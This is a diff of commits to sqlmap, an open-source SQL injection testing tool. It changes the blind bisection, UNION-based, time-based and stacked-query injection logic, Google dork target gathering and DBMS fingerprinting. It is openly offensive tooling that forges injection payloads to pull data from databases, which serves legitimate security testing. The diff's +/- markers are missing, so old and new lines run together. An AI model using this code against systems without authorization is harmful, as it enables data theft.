raise sqlmapConnectionException, warnMsg
parsePage(page)
parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4:
@@ -178,7 +223,7 @@ class Connect:
logger.log(8, responseMsg)
return page
return page, responseHeaders
@staticmethod
@@ -221,14 +266,11 @@ class Connect:
else:
ua = conf.parameters["User-Agent"]
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
if content:
return page
elif conf.string:
if conf.string in page:
return True
return page, headers
elif page and headers:
return comparison(page, headers, content)
else:
return False
else:
return md5.new(page).hexdigest()

View File

@@ -31,6 +31,7 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
@@ -38,20 +39,14 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression):
start = time.time()
@@ -65,6 +60,10 @@ def __goInference(payload, expression):
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
@@ -100,7 +99,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
@@ -117,7 +116,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return output
if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
@@ -168,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "does the SQL query that you provide might "
message += "return multiple entries? [Y/n] "
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
@@ -187,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0:
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query that you provide can "
message += "return up to %d entries. How many " % count
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
@@ -229,49 +228,31 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = expression
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output)
@@ -284,6 +265,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
@@ -296,7 +278,6 @@ def __goInband(expression, expected=None):
injection vulnerability on the affected parameter.
"""
counter = None
output = None
partial = False
data = []
@@ -313,49 +294,10 @@ def __goInband(expression, expected=None):
partial = True
if not output:
output = unionUse(expression)
fields = expression.split(",")
counter = len(fields)
output = unionUse(expression, resetCounter=True)
if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
data = parseUnionPage(output, expression, partial, condition)
return data
@@ -375,7 +317,29 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
if inband and conf.unionUse and kb.dbms:
value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression):
"""
TODO: write description
"""
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
return payload, page

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import threading
import time
import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
@@ -34,7 +35,10 @@ from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
@@ -46,10 +50,13 @@ def bisection(payload, expression, length=None):
on an affected host
"""
partialValue = ""
finalValue = ""
if kb.dbmsDetected:
_, _, _, fieldToCast = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCast)
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
_, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
@@ -102,6 +109,7 @@ def bisection(payload, expression, length=None):
maxValue = limit
if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if maxValue == 1:
return None
else:
@@ -145,7 +153,7 @@ def bisection(payload, expression, length=None):
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
@@ -157,9 +165,38 @@ def bisection(payload, expression, length=None):
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
conf.threadException = True
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads
for _ in range(numThreads):
thread = threading.Thread(target=downloadThread)
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread))
thread.start()
threads.append(thread)
@@ -167,19 +204,27 @@ def bisection(payload, expression, length=None):
for thread in threads:
thread.join()
assert None not in value
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
partialValue += v
value = "".join(value)
if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
assert index[0] == length
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
dataToSessionFile(replaceNewlineTabs(value))
if conf.verbose in ( 1, 2 ) and not showEta:
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
value = ""
index = 0
while True:
@@ -190,7 +235,7 @@ def bisection(payload, expression, length=None):
if val == None:
break
value += val
finalValue += val
dataToSessionFile(replaceNewlineTabs(val))
@@ -203,9 +248,13 @@ def bisection(payload, expression, length=None):
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % value
infoMsg = "retrieved: %s" % finalValue
logger.info(infoMsg)
if not partialValue:
dataToSessionFile("]\n")
return queriesCount[0], value
if conf.threadException:
raise sqlmapThreadException, "something unexpected happen into the threads"
return queriesCount[0], finalValue

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with AND condition syntax"
logger.warn(warnMsg)
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with stacked query syntax"
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest

View File

@@ -28,6 +28,7 @@ from lib.core.agent import agent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.request.connect import Connect as Request
@@ -94,7 +95,7 @@ def unionTest():
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"):
for comment in (queries[kb.dbms].comment, ""):
value = __effectiveUnionTest(query, comment)
if value:

View File

@@ -24,14 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
@@ -39,12 +42,23 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
def __unionPosition(count, expression):
logMsg = "confirming inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
@@ -64,17 +78,17 @@ def __unionPosition(count, expression):
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
@@ -82,29 +96,39 @@ def __unionPosition(count, expression):
break
if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "inband sql injection vulnerability, sqlmap will "
warnMsg += "retrieve the expression output through blind sql "
warnMsg += "injection technique"
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
return count
def unionUse(expression):
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = 0
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
@@ -113,42 +137,164 @@ def unionUse(expression):
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression)
__unionPosition(expression)
# Assure that the above function found the exploitable inband
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
logMsg = "query: %s" % query
logger.info(logMsg)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
duration = int(time.time() - start)
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value

View File

@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.data import logger
from lib.core.data import paths
from lib.request.connect import Connect as Request
def passiveFuzzing():
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
logger.info(logMsg)
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
for fuzzVector in fuzzVectors:
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
payload = agent.payload(newValue=fuzzVector)
Request.queryPage(payload)
pass

View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
def stackedTest():
infoMsg = "testing stacked queries support on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = queries[kb.dbms].timedelay % SECONDS
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the web application supports stacked queries "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.stackedTest = payload
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.stackedTest = False
return kb.stackedTest

View File

@@ -30,6 +30,7 @@ import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
@@ -68,13 +69,9 @@ class Google:
your Google dork search results
"""
targetUrls = set()
for match in self.__matches:
if re.search("(.*?)\?(.+)", match, re.I):
targetUrls.add(match)
return targetUrls
kb.targetUrls.add(( match, None, None, None ))
def getCookie(self):

View File

@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
@@ -40,14 +41,18 @@ def checkForParenthesis():
is within the parenthesis.
"""
if kb.parenthesis != None:
return kb.parenthesis
logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg)
count = 0
if kb.parenthesis != None:
return
if conf.prefix or conf.postfix:
kb.parenthesis = 0
return
for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis)

View File

@@ -32,7 +32,7 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.techniques.inference.blind import bisection
from lib.techniques.blind.inference import bisection
def queryOutputLength(expression, payload):
@@ -126,7 +126,7 @@ def resume(expression, payload):
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION SELECT (inband) SQL injection so we return to the calling
# in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:

View File

@@ -28,6 +28,7 @@ import time
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
@@ -35,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
@@ -43,10 +43,8 @@ from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -124,16 +122,32 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
actVer = formatFingerprint()
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
@@ -142,11 +156,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -155,6 +168,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getPrematureBanner("@@VERSION")
if not conf.extensiveFp:
return True
@@ -180,11 +195,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
else:
setDbms("Microsoft SQL Server")
if not conf.extensiveFp:
return True
if conf.getBanner:
self.banner = inject.getValue("@@VERSION")
self.getPrematureBanner("@@VERSION")
return True
else:
@@ -195,7 +206,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getPrivileges(self):
warnMsg = "on MySQL is it not possible to fetch database users privileges"
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}

View File

@@ -28,6 +28,7 @@ import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp
@@ -45,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -142,12 +142,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# MySQL valid versions updated at 10/2008
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32354), # MySQL 3.23
(40000, 40024), # MySQL 4.0
(40100, 40122), # MySQL 4.1
(50000, 50072), # MySQL 5.0
(50100, 50129), # MySQL 5.1
(60000, 60008), # MySQL 6.0
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40125), # MySQL 4.1
(50000, 50074), # MySQL 5.0
(50100, 50131), # MySQL 5.1
(60000, 60009), # MySQL 6.0
)
for element in versions:
@@ -162,6 +162,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
result = Request.queryPage(payload)
if result == kb.defaultResult:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
@@ -177,33 +180,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
actVer = formatFingerprint()
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
comVer = self.__commentCheck()
if comVer:
comVer = formatFingerprint([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
